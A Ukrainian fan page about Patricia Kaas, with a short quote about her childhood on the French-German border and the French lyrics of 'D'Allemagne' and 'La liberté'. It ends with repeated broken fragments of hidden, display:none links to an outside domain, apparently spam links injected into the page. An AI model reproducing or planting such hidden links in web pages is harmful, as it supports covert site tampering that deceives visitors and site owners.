Патрісія Каас

(Patricia Kaas)

"... Я народилася на кордоні між Францією і Німеччиною. Моєю батьківщиною завжди були і Лотарінгія, і Саарлянд. Я мешкала в будинку 42, а номер 49 стояв уже на території Німеччини. У моїй першій групі були, приміром, самі лише німці. Я не робила різниці між німцями і французами. Це були попросту люди, які мені подобалися".

D'ALLEMAGNE
(D. Barbelivien/F. Bernheim)

D'Allemagne ou j'ecoute la pluie en vacances
D'Allemagne ou j'entends le rock en silence
D'Allemagne ou j'ai des souvenirs d'en face
Ou j'ai des souvenirs d'enfance
Leninplatz et Anatole France
D'Allemagne l'histoire passee est une injure
D'Allemagne l'avenir est une aventure
D'Allemagne je connais les sens interdits
Je sais ou dorment les fusils
Je sais ou s'arrete l'indulgence

Auf wiedersehn Lili Marlene
Reparlez-moi des roses de Gottingen
Qui m'accompagnent dans l'autre Allemagne
A l'heure ou colombes et vautours s'elignent
De quel cote du mur, la frontiere vous rassure

D'Allemagne j'ai des histoires d'amour sincere
Je plane sur des musiques-d'appolinaire
D'Allemagne le romantisme est plus violent
Les violons jouent toujours plus lents Des valses viennoises ordinaires

Ich habe eine kleine wild blume
Eine flame die zwischen den volken blut
D'Allemagne j'ai une petite fleur dans le coeur
Qui est comme l'idee du bonheur
Qui va grandir comme un arbre

LA LIBERTE
(Lavoine/Aboulker)

Sur une guitare, sur une violin
Qu'il soit trop tard, qu'il soit trop long
Sur un boulevard ou sous un pont
Le sans-logis fait sa chanson

Sur une guitare sur un violin
Sur un tam-tam du Gabon
Sur une batterie a l'occasion
Le sans-patrie fait sa chanson

Si la verite sort de la bouche du metro
Si le monde entier dit qu'on a tort d'aimer trop
Quand l'hiver est rude et qu'on cri "chaud les marrons"
Le sans-abri fait sa chanson

La liberte
C'est pas la porte a cote
La liberte
C'est le bout du monde

Sur une guitare, sur un violin
Sur des gamelles et des bidons
A tout hasard sous les balcons
Le sans-papiers fait sa chanson

Sur une guitare, sur un violin
Sur un air de Duke Ellington
A bout de souffle, a bout de son
Le sans-le-sou fait sa chanson

Si la verite sort de la bouche du metro
Si le monde entier dit qu'on a tort d'aimer trop
Quand l'hiver est rude et qu'on crie "chaud les marrons"
Le sans-culotte fait sa chanson

Refrain

назад


goutsoullac@rambler.ru

p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none">